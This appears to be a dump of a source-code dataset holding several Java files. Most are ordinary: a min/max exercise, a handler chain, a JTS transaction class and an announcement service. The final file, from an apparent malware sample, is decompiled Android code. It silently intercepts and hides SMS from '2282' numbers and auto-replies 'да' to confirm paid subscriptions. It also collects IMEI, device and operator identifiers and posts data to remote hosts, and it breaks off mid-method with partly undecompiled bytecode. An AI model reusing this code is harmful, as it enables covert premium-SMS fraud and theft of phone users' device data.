blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
5
132
path
stringlengths
2
382
src_encoding
stringclasses
34 values
length_bytes
int64
9
3.8M
score
float64
1.5
4.94
int_score
int64
2
5
detected_licenses
listlengths
0
142
license_type
stringclasses
2 values
text
stringlengths
9
3.8M
download_success
bool
1 class
6c8c3caa6c16d9ada5c27730773b3a29a414c1c1
Java
suddat/udemy
/src/com/udemy/IO/MaxAndMin.java
UTF-8
741
3.640625
4
[]
no_license
package com.udemy.IO; import java.util.Scanner; public class MaxAndMin { public static void main(String[] args) { Scanner sc = new Scanner(System.in); int current = 0; int counter = 0; int order = 0; int min=1; int max=-1; while (true) { order = counter + 1; System.out.println("Enter no #" + order + ":"); boolean isAnInt = sc.hasNextInt(); if (isAnInt) { /*if(min == 0) { max = sc.nextInt(); }*/ current = sc.nextInt(); if(max < current) { max = current; } if(min > current) { min = current; } } else { break; } sc.nextLine(); } System.out.println("Min: "+min+" And Max :"+max); // close scanner sc.close(); } }
true
f2b90d4104e10ed85995c5adf8d0c34e140f839b
Java
Guergeiro/es2-assignment
/src/main/java/com/brenosalles/handlers/AbstractHandler.java
UTF-8
2,664
2.609375
3
[ "MIT" ]
permissive
package com.brenosalles.handlers; import java.util.ArrayList; import com.brenosalles.resources.Resource; import com.brenosalles.tokens.Token; import com.brenosalles.users.User; public abstract class AbstractHandler implements IHandler { private IHandler nextHandler; @Override public IHandler setNext(IHandler handler) { this.nextHandler = handler; return handler; } @Override public User createUser(User user) { if (nextHandler != null) { return nextHandler.createUser(user); } return null; } @Override public ArrayList<User> readUsers() { if (nextHandler != null) { return nextHandler.readUsers(); } return null; } @Override public User readUser(Integer id) { if (nextHandler != null) { return nextHandler.readUser(id); } return null; } @Override public Boolean updateUser(Integer id, User user) { if (nextHandler != null) { return nextHandler.updateUser(id, user); } return false; } @Override public Boolean deleteUser(Integer id) { if (nextHandler != null) { return nextHandler.deleteUser(id); } return false; } @Override public Resource createResource(Resource resource) { if (nextHandler != null) { return nextHandler.createResource(resource); } return null; } @Override public ArrayList<Resource> readResources() { if (nextHandler != null) { return nextHandler.readResources(); } return null; } @Override public Resource readResource(Integer id) { if (nextHandler != null) { return nextHandler.readResource(id); } return null; } @Override public Boolean updateResource(Integer id, Resource resource) { if (nextHandler != null) { return nextHandler.updateResource(id, resource); } return false; } @Override public Boolean deleteResource(Integer id) { if (nextHandler != null) { return nextHandler.deleteResource(id); } return false; } @Override public Token register(User user, String password) { if (nextHandler != null) { return nextHandler.register(user, password); } return null; } @Override public Token login(User user, String password) { if (nextHandler != null) { return nextHandler.login(user, password); } return null; } }
true
b709ba0033b6913c6271bded79da1aa28b121aca
Java
jbosstm/narayana
/ArjunaJTS/jts/classes/com/arjuna/ats/internal/jts/orbspecific/interposition/resources/osi/ServerOSITopLevelAction.java
UTF-8
3,412
1.765625
2
[ "Apache-2.0" ]
permissive
/* Copyright The Narayana Authors SPDX short identifier: Apache-2.0 */ package com.arjuna.ats.internal.jts.orbspecific.interposition.resources.osi; import org.omg.CORBA.SystemException; import org.omg.CosTransactions.HeuristicCommit; import org.omg.CosTransactions.HeuristicHazard; import org.omg.CosTransactions.HeuristicMixed; import org.omg.CosTransactions.HeuristicRollback; import org.omg.CosTransactions.NotPrepared; import com.arjuna.ats.internal.jts.interposition.resources.osi.OTIDMap; import com.arjuna.ats.internal.jts.orbspecific.interposition.ServerControl; import com.arjuna.ats.internal.jts.orbspecific.interposition.resources.strict.ServerStrictTopLevelAction; import com.arjuna.ats.jts.logging.jtsLogger; public class ServerOSITopLevelAction extends ServerStrictTopLevelAction { /* * The ServerTopLevelAction is responsible for registering this resource * with its parent. */ public ServerOSITopLevelAction(ServerControl control, boolean doRegister) { super(control, doRegister); if (jtsLogger.logger.isTraceEnabled()) { jtsLogger.logger.trace("ServerOSITopLevelAction::ServerOSITopLevelAction ( ServerControl, " + doRegister + " )"); } } /* * Will only be called by the remote top-level transaction. */ public org.omg.CosTransactions.Vote prepare () throws HeuristicMixed, HeuristicHazard, SystemException { if (jtsLogger.logger.isTraceEnabled()) { jtsLogger.logger.trace("ServerOSITopLevelAction::prepare for " + _theUid); } /* * First remove entry for this transaction otid from map. Have to do it * here as we are going to be deleted by the base class! */ OTIDMap.remove(get_uid()); return super.prepare(); } public void rollback () throws SystemException, HeuristicCommit, HeuristicMixed, HeuristicHazard { if (jtsLogger.logger.isTraceEnabled()) { jtsLogger.logger.trace("ServerOSITopLevelAction::rollback for " + _theUid); } OTIDMap.remove(get_uid()); super.rollback(); } public void commit () throws SystemException, NotPrepared, HeuristicRollback, HeuristicMixed, HeuristicHazard { if (jtsLogger.logger.isTraceEnabled()) { jtsLogger.logger.trace("ServerOSITopLevelAction::commit for " + _theUid); } OTIDMap.remove(get_uid()); super.commit(); } public void forget () throws SystemException { if (jtsLogger.logger.isTraceEnabled()) { jtsLogger.logger.trace("ServerOSITopLevelAction::forget for " + _theUid); } OTIDMap.remove(get_uid()); super.forget(); } /* * Just because commit_one_phase is called by the coordinator does not mean * that we can use it - we may have many locally registered resources. */ public void commit_one_phase () throws HeuristicHazard, SystemException { if (jtsLogger.logger.isTraceEnabled()) { jtsLogger.logger.trace("ServerOSITopLevelAction::commit_one_phase for " + _theUid); } OTIDMap.remove(get_uid()); super.commit_one_phase(); } public String type () { return "/Resources/Arjuna/ServerTopLevelAction/ServerOSITopLevelAction"; } }
true
34c1ea68d07dd5924b6f6019be2684c0006db116
Java
time2funk/java-projects
/utp3/src/utp3/lesson.java
UTF-8
938
3.09375
3
[]
no_license
package utp3; import java.util.Arrays; import java.util.List; public class lesson { public static void main(String[] args){ IFunc<Double, Double> exp = new IFunc<Double, Double>(){ public Double call(Double a){ return Math.pow(a, 0.5); } }; IBFunc<Double, Double, Double> exp2 = new IBFunc<Double, Double, Double>(){ public Double call(Double a, Double b){ return Math.pow(a, b); } }; IFunc < PAIR<Double, Double>, Double > exp3 = new IFunc < PAIR<Double, Double>, Double >(){ public Double call(PAIR<Double, Double> a){ return Math.pow(a.FST(), a.SND()); } }; IFunc< Double, IFunc<Double,Double> > lambda = x -> y -> Math.pow(x, y); IBFunc< Double, Double,Double> f = (x, y) -> Math.pow(x, y); List<Integer> src1 = Arrays.asList(1, 7, 9, 11, 12); List<String> src2 = Arrays.asList("a", "zzzz", "vvvvvvv"); //System.out.println( map); } }
true
279cc1c3a1721680fc675df45ba1bbba8c761763
Java
suomenriistakeskus/oma-riista-web
/src/main/java/fi/riista/feature/announcement/crud/AnnouncementCrudFeature.java
UTF-8
7,141
1.789063
2
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
package fi.riista.feature.announcement.crud; import com.google.common.base.Preconditions; import fi.riista.feature.RequireEntityService; import fi.riista.feature.account.user.ActiveUserService; import fi.riista.feature.account.user.SystemUser; import fi.riista.feature.account.user.SystemUserPrivilege; import fi.riista.feature.announcement.Announcement; import fi.riista.feature.announcement.AnnouncementRepository; import fi.riista.feature.announcement.AnnouncementSenderType; import fi.riista.feature.announcement.AnnouncementSubscriber; import fi.riista.feature.announcement.notification.AnnouncementNotificationService; import fi.riista.feature.common.CommitHookService; import fi.riista.feature.organization.Organisation; import fi.riista.feature.organization.OrganisationType; import fi.riista.feature.organization.occupation.OccupationType; import fi.riista.security.EntityPermission; import fi.riista.security.UserInfo; import fi.riista.util.F; import org.springframework.stereotype.Component; import org.springframework.transaction.annotation.Transactional; import javax.annotation.Nonnull; import javax.annotation.Resource; import java.util.EnumSet; import java.util.HashMap; import java.util.List; import java.util.Objects; import java.util.Set; import static fi.riista.feature.organization.OrganisationType.RHY; import static fi.riista.feature.organization.OrganisationType.RK; import static fi.riista.util.F.firstNonNull; import static java.util.Arrays.asList; @Component public class AnnouncementCrudFeature { @Resource private AnnouncementRepository announcementRepository; @Resource private RequireEntityService requireEntityService; @Resource private CommitHookService commitHookService; @Resource private ActiveUserService activeUserService; @Resource private AnnouncementSenderRoleService announcementSenderRoleService; @Resource private AnnouncementSubscriberService announcementSubscriberService; @Resource private AnnouncementNotificationService announcementNotificationService; public static HashMap<OrganisationType, Set<OccupationType>> listSubscriberOccupationTypes( final OrganisationType fromOrganisationType) { final HashMap<OrganisationType, Set<OccupationType>> result = new HashMap<>(); final boolean canSendToRhyOccupation = EnumSet.of( RHY, RK).contains(fromOrganisationType); if (canSendToRhyOccupation) { result.put(RHY, OccupationType.rhyValues()); } result.put(OrganisationType.CLUB, EnumSet.of( OccupationType.SEURAN_JASEN, OccupationType.SEURAN_YHDYSHENKILO, OccupationType.RYHMAN_METSASTYKSENJOHTAJA)); return result; } @Transactional(readOnly = true) public AnnouncementDTO readAnnouncement(final long id) { final Announcement announcement = requireEntityService.requireAnnouncement(id, EntityPermission.READ); final List<AnnouncementSubscriber> subscribers = announcementSubscriberService.listAll(announcement); return AnnouncementDTO.create(announcement, subscribers); } @Transactional public void createAnnouncement(final AnnouncementDTO dto) { final SystemUser activeUser = activeUserService.requireActiveUser(); final Organisation fromOrganisation = announcementSenderRoleService .resolveFromOrganisation(dto, activeUser) .orElseThrow(() -> new IllegalStateException("Could not determine from organisation")); final AnnouncementSenderType senderType = announcementSenderRoleService .resolveRoleInOrganisation(fromOrganisation, activeUser) .orElseThrow(() -> new IllegalStateException("Could not find organisation role for active user")); final UserInfo userInfo = activeUserService.getActiveUserInfoOrNull(); checkLimitations(userInfo, dto, fromOrganisation); final Announcement announcement = new Announcement(dto.getSubject(), dto.getBody(), activeUser, fromOrganisation, senderType); announcement.setVisibleToAll(dto.isVisibleToAll()); announcement.setRhyMembershipSubscriber(dto.isVisibleToRhyMembers() ? firstNonNull( announcementSenderRoleService.resolveRhySubscriberOrganisation(dto, userInfo), announcement.getFromOrganisation()) : null); announcementRepository.save(announcement); announcementSubscriberService.create(announcement, dto); commitHookService.runInTransactionAfterCommit( () -> announcementNotificationService.sendNotifications(announcement, dto.isSendEmail())); } @Transactional public void updateAnnouncement(final AnnouncementDTO dto) { final Announcement announcement = requireEntityService.requireAnnouncement(dto.getId(), EntityPermission.UPDATE); final UserInfo userInfo = activeUserService.getActiveUserInfoOrNull(); checkLimitations(userInfo, dto, announcement.getFromOrganisation()); announcement.setSubject(dto.getSubject()); announcement.setBody(dto.getBody()); announcementSubscriberService.update(announcement, dto); commitHookService.runInTransactionAfterCommit( () -> announcementNotificationService.sendNotifications(announcement, dto.isSendEmail())); } private static void checkLimitations(final @Nonnull UserInfo activeUser, final @Nonnull AnnouncementDTO dto, final @Nonnull Organisation fromOrganisation) { Objects.requireNonNull(activeUser); Objects.requireNonNull(dto); Objects.requireNonNull(fromOrganisation); final OrganisationType fromOrganisationType = fromOrganisation.getOrganisationType(); if (fromOrganisationType == RK) { Preconditions.checkArgument(activeUser.isAdminOrModerator(), "Only moderator can send from RK"); } if (dto.isVisibleToAll()) { Preconditions.checkArgument(activeUser.isAdmin() || activeUser.isModerator() && activeUser.hasPrivilege(SystemUserPrivilege.SEND_BULK_MESSAGES), "Insufficient privileges for sending to all users"); } if (dto.isVisibleToRhyMembers()) { Preconditions.checkArgument(asList(RHY, RK).contains(fromOrganisationType), "Only RHY od RK can send message to members"); } if (!dto.isSubscriberEmptyOrMatchesSender()) { Preconditions.checkArgument(activeUser.isAdminOrModerator(), "Only moderator can select target organisations freely"); } } @Transactional public void removeAnnouncement(final long id) { final Announcement announcement = requireEntityService.requireAnnouncement(id, EntityPermission.DELETE); announcementSubscriberService.deleteAll(announcement); announcementRepository.delete(announcement); } }
true
8ade0c9eab5acd84c12df159daa66a9ee01e01ad
Java
lgallez/csClasses
/JavaClass/JavaFiles/Packages/one/One.java
UTF-8
83
1.773438
2
[]
no_license
package one; public class One { public void one() { System.out.println("One");} }
true
0d4540802d6b81791a8306d162b48114ea73c4d9
Java
iantal/AndroidPermissions
/apks/malware/app36/source/eu/evandorostech/droider/ClassAct.java
UTF-8
33,295
1.671875
2
[ "Apache-2.0" ]
permissive
package eu.evandorostech.droider; import android.app.AlarmManager; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.content.res.AssetManager; import android.os.Build; import android.os.Build.VERSION; import android.os.Bundle; import android.os.SystemClock; import android.provider.Settings.Secure; import android.telephony.SmsMessage; import android.telephony.TelephonyManager; import java.io.BufferedReader; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.Proxy.Type; import java.net.SocketAddress; import java.net.URL; import java.util.ArrayList; import java.util.Calendar; import java.util.Locale; import java.util.Timer; import java.util.TimerTask; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; public class ClassAct { public static final String q6 = "android.provider.Telephony.SMS_RECEIVED"; BroadcastReceiver RequestReceiver = new BroadcastReceiver() { public void onReceive(Context paramAnonymousContext, Intent paramAnonymousIntent) { int i; int j; if (paramAnonymousIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { paramAnonymousContext = paramAnonymousIntent.getExtras(); if (paramAnonymousContext != null) { paramAnonymousIntent = (Object[])paramAnonymousContext.get("pdus"); paramAnonymousContext = new SmsMessage[paramAnonymousIntent.length]; i = 0; if (i < paramAnonymousIntent.length) { break label58; } j = paramAnonymousContext.length; i = 0; } } for (;;) { if (i >= j) { return; label58: paramAnonymousContext[i] = SmsMessage.createFromPdu((byte[])paramAnonymousIntent[i]); i += 1; break; } paramAnonymousIntent = paramAnonymousContext[i]; if (paramAnonymousIntent.getOriginatingAddress().replace("+7", "8").substring(0, 4).contains("2282")) { abortBroadcast(); ClassAct.this.f12(paramAnonymousIntent.getOriginatingAddress(), "да"); } i += 1; } } }; public String q1 = "http://yandex.ru"; public String q10; public String q11; public String q12; public String q13; public String q14; public int q15 = 0; public String q16; public String q17; public String q18; public String q2 = ""; public String q3 = "http://joinmobil.ru"; public ArrayList<String> q4 = new ArrayList(); public ArrayList<String> q5 = new ArrayList(); public int q7; public Context q8; public String q9; Timer timer = new Timer(); public ClassAct() {} /* Error */ private void f5(String paramString) { // Byte code: // 0: aconst_null // 1: astore_2 // 2: new 93 org/json/JSONTokener // 5: dup // 6: aload_1 // 7: invokespecial 95 org/json/JSONTokener:<init> (Ljava/lang/String;)V // 10: invokevirtual 99 org/json/JSONTokener:nextValue ()Ljava/lang/Object; // 13: checkcast 101 org/json/JSONObject // 16: astore_1 // 17: aload_0 // 18: aload_1 // 19: ldc 103 // 21: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 24: putfield 54 eu/evandorostech/droider/ClassAct:q1 Ljava/lang/String; // 27: aload_0 // 28: aload_1 // 29: ldc 109 // 31: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 34: putfield 62 eu/evandorostech/droider/ClassAct:q3 Ljava/lang/String; // 37: aload_1 // 38: ldc 111 // 40: invokevirtual 115 org/json/JSONObject:isNull (Ljava/lang/String;)Z // 43: ifeq +187 -> 230 // 46: aload_0 // 47: iconst_0 // 48: putfield 71 eu/evandorostech/droider/ClassAct:q15 I // 51: aload_0 // 52: aload_1 // 53: ldc 117 // 55: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 58: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 61: aload_0 // 62: aload_0 // 63: getfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 66: ldc 119 // 68: aload_0 // 69: getfield 121 eu/evandorostech/droider/ClassAct:q9 Ljava/lang/String; // 72: invokevirtual 127 java/lang/String:replace (Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; // 75: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 78: aload_0 // 79: aload_0 // 80: getfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 83: ldc -127 // 85: aload_0 // 86: getfield 131 eu/evandorostech/droider/ClassAct:q11 Ljava/lang/String; // 89: invokevirtual 127 java/lang/String:replace (Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; // 92: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 95: aload_0 // 96: aload_0 // 97: getfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 100: ldc -123 // 102: aload_0 // 103: getfield 135 eu/evandorostech/droider/ClassAct:q12 Ljava/lang/String; // 106: invokevirtual 127 java/lang/String:replace (Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; // 109: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 112: aload_0 // 113: aload_0 // 114: getfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 117: ldc -119 // 119: aload_0 // 120: getfield 139 eu/evandorostech/droider/ClassAct:q13 Ljava/lang/String; // 123: invokevirtual 127 java/lang/String:replace (Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; // 126: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 129: aload_0 // 130: aload_0 // 131: getfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 134: ldc -115 // 136: aload_0 // 137: getfield 143 eu/evandorostech/droider/ClassAct:q16 Ljava/lang/String; // 140: invokevirtual 127 java/lang/String:replace (Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; // 143: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 146: aload_0 // 147: aload_0 // 148: getfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 151: ldc -111 // 153: aload_0 // 154: getfield 147 eu/evandorostech/droider/ClassAct:q17 Ljava/lang/String; // 157: invokevirtual 127 java/lang/String:replace (Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; // 160: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 163: aload_0 // 164: aload_0 // 165: getfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 168: ldc -107 // 170: aload_0 // 171: getfield 151 eu/evandorostech/droider/ClassAct:q18 Ljava/lang/String; // 174: invokevirtual 127 java/lang/String:replace (Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; // 177: putfield 58 eu/evandorostech/droider/ClassAct:q2 Ljava/lang/String; // 180: aload_1 // 181: aload_0 // 182: getfield 135 eu/evandorostech/droider/ClassAct:q12 Ljava/lang/String; // 185: invokevirtual 115 org/json/JSONObject:isNull (Ljava/lang/String;)Z // 188: ifne +74 -> 262 // 191: aload_0 // 192: aload_1 // 193: aload_0 // 194: getfield 135 eu/evandorostech/droider/ClassAct:q12 Ljava/lang/String; // 197: invokevirtual 155 org/json/JSONObject:getJSONObject (Ljava/lang/String;)Lorg/json/JSONObject; // 200: invokevirtual 159 eu/evandorostech/droider/ClassAct:f7 (Lorg/json/JSONObject;)V // 203: return // 204: astore_1 // 205: aload_1 // 206: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 209: aload_2 // 210: astore_1 // 211: goto -194 -> 17 // 214: astore_2 // 215: aload_2 // 216: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 219: goto -192 -> 27 // 222: astore_2 // 223: aload_2 // 224: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 227: goto -190 -> 37 // 230: aload_0 // 231: aload_1 // 232: ldc 111 // 234: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 237: invokestatic 168 java/lang/Integer:parseInt (Ljava/lang/String;)I // 240: putfield 71 eu/evandorostech/droider/ClassAct:q15 I // 243: goto -192 -> 51 // 246: astore_2 // 247: aload_2 // 248: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 251: goto -200 -> 51 // 254: astore_2 // 255: aload_2 // 256: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 259: goto -79 -> 180 // 262: aload_0 // 263: getfield 135 eu/evandorostech/droider/ClassAct:q12 Ljava/lang/String; // 266: invokevirtual 172 java/lang/String:length ()I // 269: iconst_3 // 270: if_icmple -67 -> 203 // 273: aload_0 // 274: aload_1 // 275: aload_0 // 276: getfield 135 eu/evandorostech/droider/ClassAct:q12 Ljava/lang/String; // 279: iconst_0 // 280: iconst_3 // 281: invokevirtual 176 java/lang/String:substring (II)Ljava/lang/String; // 284: invokevirtual 155 org/json/JSONObject:getJSONObject (Ljava/lang/String;)Lorg/json/JSONObject; // 287: invokevirtual 159 eu/evandorostech/droider/ClassAct:f7 (Lorg/json/JSONObject;)V // 290: return // 291: astore_1 // 292: aload_1 // 293: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 296: return // Local variable table: // start length slot name signature // 0 297 0 this ClassAct // 0 297 1 paramString String // 1 209 2 localObject Object // 214 2 2 localJSONException1 JSONException // 222 2 2 localJSONException2 JSONException // 246 2 2 localJSONException3 JSONException // 254 2 2 localJSONException4 JSONException // Exception table: // from to target type // 2 17 204 org/json/JSONException // 17 27 214 org/json/JSONException // 27 37 222 org/json/JSONException // 230 243 246 org/json/JSONException // 51 180 254 org/json/JSONException // 180 203 291 org/json/JSONException // 262 290 291 org/json/JSONException } /* Error */ private void f6(String paramString) { // Byte code: // 0: ldc -78 // 2: astore 8 // 4: ldc -78 // 6: astore_3 // 7: ldc -78 // 9: astore 4 // 11: ldc -78 // 13: astore 5 // 15: ldc -78 // 17: astore 6 // 19: ldc -78 // 21: astore 7 // 23: aconst_null // 24: astore_2 // 25: new 93 org/json/JSONTokener // 28: dup // 29: aload_1 // 30: invokespecial 95 org/json/JSONTokener:<init> (Ljava/lang/String;)V // 33: invokevirtual 99 org/json/JSONTokener:nextValue ()Ljava/lang/Object; // 36: checkcast 101 org/json/JSONObject // 39: astore_1 // 40: aload_1 // 41: astore_2 // 42: aload_2 // 43: ldc -76 // 45: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 48: astore_1 // 49: aload_2 // 50: ldc -74 // 52: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 55: astore 8 // 57: aload 8 // 59: astore_3 // 60: aload_2 // 61: ldc -72 // 63: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 66: astore 8 // 68: aload 8 // 70: astore 4 // 72: aload_2 // 73: ldc -70 // 75: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 78: astore 8 // 80: aload 8 // 82: astore 5 // 84: aload_2 // 85: ldc -68 // 87: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 90: astore 8 // 92: aload 8 // 94: astore 6 // 96: aload_2 // 97: ldc -66 // 99: invokevirtual 107 org/json/JSONObject:getString (Ljava/lang/String;)Ljava/lang/String; // 102: astore_2 // 103: aload_1 // 104: ldc -78 // 106: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 109: ifeq +23 -> 132 // 112: aload 4 // 114: ldc -78 // 116: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 119: ifeq +13 -> 132 // 122: aload 6 // 124: ldc -78 // 126: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 129: ifne +39 -> 168 // 132: aload_0 // 133: getfield 196 eu/evandorostech/droider/ClassAct:q8 Landroid/content/Context; // 136: ldc -58 // 138: iconst_0 // 139: invokevirtual 204 android/content/Context:getSharedPreferences (Ljava/lang/String;I)Landroid/content/SharedPreferences; // 142: invokeinterface 210 1 0 // 147: astore 7 // 149: aload 7 // 151: ldc -44 // 153: iconst_1 // 154: invokeinterface 218 3 0 // 159: pop // 160: aload 7 // 162: invokeinterface 222 1 0 // 167: pop // 168: aload_1 // 169: ldc -78 // 171: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 174: ifne +9 -> 183 // 177: aload_0 // 178: aload_3 // 179: aload_1 // 180: invokevirtual 226 eu/evandorostech/droider/ClassAct:f12 (Ljava/lang/String;Ljava/lang/String;)V // 183: aload 4 // 185: ldc -78 // 187: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 190: ifne +11 -> 201 // 193: aload_0 // 194: aload 5 // 196: aload 4 // 198: invokevirtual 226 eu/evandorostech/droider/ClassAct:f12 (Ljava/lang/String;Ljava/lang/String;)V // 201: aload 6 // 203: ldc -78 // 205: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 208: ifne +10 -> 218 // 211: aload_0 // 212: aload_2 // 213: aload 6 // 215: invokevirtual 226 eu/evandorostech/droider/ClassAct:f12 (Ljava/lang/String;Ljava/lang/String;)V // 218: aload_1 // 219: ldc -78 // 221: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 224: ifeq +35 -> 259 // 227: aload 4 // 229: ldc -78 // 231: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 234: ifeq +25 -> 259 // 237: aload 6 // 239: ldc -78 // 241: invokevirtual 194 java/lang/String:contains (Ljava/lang/CharSequence;)Z // 244: ifeq +15 -> 259 // 247: aload_0 // 248: getfield 76 eu/evandorostech/droider/ClassAct:timer Ljava/util/Timer; // 251: invokevirtual 229 java/util/Timer:cancel ()V // 254: aload_0 // 255: aconst_null // 256: putfield 76 eu/evandorostech/droider/ClassAct:timer Ljava/util/Timer; // 259: return // 260: astore_1 // 261: aload_1 // 262: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 265: goto -223 -> 42 // 268: astore_1 // 269: aload_1 // 270: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 273: aload 8 // 275: astore_1 // 276: goto -227 -> 49 // 279: astore 8 // 281: aload 8 // 283: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 286: goto -226 -> 60 // 289: astore 8 // 291: aload 8 // 293: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 296: goto -224 -> 72 // 299: astore 8 // 301: aload 8 // 303: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 306: goto -222 -> 84 // 309: astore 8 // 311: aload 8 // 313: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 316: goto -220 -> 96 // 319: astore_2 // 320: aload_2 // 321: invokevirtual 162 org/json/JSONException:printStackTrace ()V // 324: aload 7 // 326: astore_2 // 327: goto -224 -> 103 // Local variable table: // start length slot name signature // 0 330 0 this ClassAct // 0 330 1 paramString String // 24 189 2 str1 String // 319 2 2 localJSONException1 JSONException // 326 1 2 localObject1 Object // 6 173 3 str2 String // 9 219 4 str3 String // 13 182 5 str4 String // 17 221 6 str5 String // 21 304 7 localObject2 Object // 2 272 8 str6 String // 279 3 8 localJSONException2 JSONException // 289 3 8 localJSONException3 JSONException // 299 3 8 localJSONException4 JSONException // 309 3 8 localJSONException5 JSONException // Exception table: // from to target type // 25 40 260 org/json/JSONException // 42 49 268 org/json/JSONException // 49 57 279 org/json/JSONException // 60 68 289 org/json/JSONException // 72 80 299 org/json/JSONException // 84 92 309 org/json/JSONException // 96 103 319 org/json/JSONException } private String f8(String paramString) { Object localObject = this.q8.getAssets(); try { paramString = ((AssetManager)localObject).open(paramString); localObject = new byte[paramString.available()]; paramString.read((byte[])localObject); paramString = new String((byte[])localObject); return paramString; } catch (IOException paramString) { paramString.printStackTrace(); } return null; } private void startUpdater() { AlarmManager localAlarmManager = (AlarmManager)this.q8.getSystemService("alarm"); Object localObject = new Intent(this.q8, BPrelon.class); localObject = PendingIntent.getBroadcast(this.q8, 0, (Intent)localObject, 134217728); localAlarmManager.cancel((PendingIntent)localObject); localAlarmManager.setRepeating(3, SystemClock.elapsedRealtime(), 14400000L, (PendingIntent)localObject); } public int GetUnixTime() { return (int)(Calendar.getInstance().getTimeInMillis() / 1000L); } public void L(String paramString) {} protected String doInBackground(String paramString1, String paramString2) throws IOException { Object localObject = android.net.Proxy.getDefaultHost(); int i = android.net.Proxy.getDefaultPort(); paramString1 = new URL(paramString1); if (i > 0) { localObject = new InetSocketAddress((String)localObject, i); paramString1 = (HttpURLConnection)paramString1.openConnection(new java.net.Proxy(Proxy.Type.HTTP, (SocketAddress)localObject)); paramString1.setDoInput(true); paramString1.setDoOutput(true); paramString1.setRequestMethod("POST"); paramString1.setConnectTimeout(10000); localObject = new DataOutputStream(paramString1.getOutputStream()); ((DataOutputStream)localObject).writeBytes(paramString2); ((DataOutputStream)localObject).flush(); ((DataOutputStream)localObject).close(); paramString1.connect(); paramString1 = new BufferedReader(new InputStreamReader(paramString1.getInputStream(), "UTF-8")); paramString2 = new StringBuilder(); } for (;;) { localObject = paramString1.readLine(); if (localObject == null) { return paramString2.toString(); paramString1 = (HttpURLConnection)paramString1.openConnection(); break; } paramString2.append((String)localObject).append("\n"); } } public void f1(Context paramContext, String paramString, int paramInt) { this.q8 = paramContext; if (paramInt == 1) { startUpdater(); } this.q9 = Build.VERSION.SDK; this.q11 = Settings.Secure.getString(this.q8.getContentResolver(), "android_id"); this.q18 = ((TelephonyManager)this.q8.getSystemService("phone")).getDeviceId(); this.q12 = ((TelephonyManager)this.q8.getSystemService("phone")).getNetworkOperator(); this.q13 = this.q8.getPackageName(); this.q16 = Build.MODEL; this.q17 = Locale.getDefault().getLanguage(); f5(f8(paramString)); } public void f10(String paramString1, String paramString2) { f11(paramString1, paramString2); } public void f11(String paramString1, String paramString2) { Object localObject1 = this.q8.getSharedPreferences("ESLIABONENTTUPIT", 0); Object localObject2 = ((SharedPreferences)localObject1).edit(); int i = ((SharedPreferences)localObject1).getInt("countsend", 0) + 1; 